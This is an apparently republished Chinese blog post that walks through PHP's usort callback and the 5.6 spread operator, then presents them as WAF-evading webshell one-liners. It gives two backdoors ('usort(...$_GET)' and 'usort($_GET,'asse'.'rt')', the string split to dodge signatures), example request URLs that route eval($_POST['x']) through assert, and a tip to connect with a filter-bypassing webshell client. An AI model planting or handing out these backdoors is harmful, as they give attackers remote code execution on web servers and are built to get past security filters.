1. 程式人生 > >PHP免殺一句話能秒99%的WAF防火牆

PHP免殺一句話能秒99%的WAF防火牆

開始

原諒我見識短,沒用過usort函式

上面連線的文章中,發現有這個函式

於是剛剛瞭解了下usort函式

 

usort函式幹嘛的?

官方介紹:http://php.net/manual/zh/function.usort.php

通俗點說就是一個稍微複雜點的陣列,如果用php自帶的函式不是很方便

所以使用者可以自己定義一個函式,然後使用usort函式來進行回撥

 

1

2

3

4

5

6

7

8

9

10

<?php

function my_sort($a,$b){

    if ($a==$b){

        return 0;

    }else{

        return ($a<$b)?-1:1;    

    }

}

$list = array(4,2,8,6);

usort($list,'my_sort');

第一個引數必須是陣列

第二個引數是函式名稱

usort函式執行的時候,會依次把$a中的兩個值,傳遞給名字為my_sort函式中,所以你會看到my_sort有兩個形參

然後php會判斷my_sort函式的返回值

如果為0,則位置不變

如果為-1.則$a位置和$b不變

如果為1,則$a位置和$b互換

有趣的來了

開始裡面的文章中,講到了一個php5.6的新特性

…運算子,對就是三個點

官方介紹:http://php.net/manual/zh/migration56.new-features.php

該運算子可以將陣列或者可遍歷的物件展開變為引數

不過必須是索引陣列哦~~~

舉個栗子

 

1

2

3

4

5

<?php

$list = [1,2,3];

var_dump($list);

echo "========\n";//

var_dump(...$list);

返回結果如下

 

1

2

3

4

5

6

7

8

9

10

11

12

array(3) {

  [0]=>

  int(1)

  [1]=>

  int(2)

  [2]=>

  int(3)

}

========

int(1)

int(2)

int(3)

 

編寫一句話

先放出最終的程式碼

 

1

<?php usort(...$_GET);?>

那麼$_GET變數中的值,應該是

 

1

[['$a=0','eval($_POST["x"])'],'assert'];

$_GET[0]是usort的第一個引數

$_GET[1]是usort的回撥函式名

也就相當於

1

<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>

,php免殺大馬,免殺大馬

最終利用是這樣的

 

1

http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

我自己本地環境測試成功了~~~

應該能過什麼安全狗啊啥的

 

上面的一句話,只能在php環境>=5.6才能用

於是更新下,環境>=<5.6都可以的一句話

 

1

<?php usort($_GET,'asse'.'rt');?>

使用方法

 

1

http://www.url.com/test.php?1=1+1&2=eval($_POST[x])

過狗一句話如果連不上用過狗菜刀xise
原文地址《 php免殺一句話能秒99%的waf防火牆

http://caidaome.com/?post=85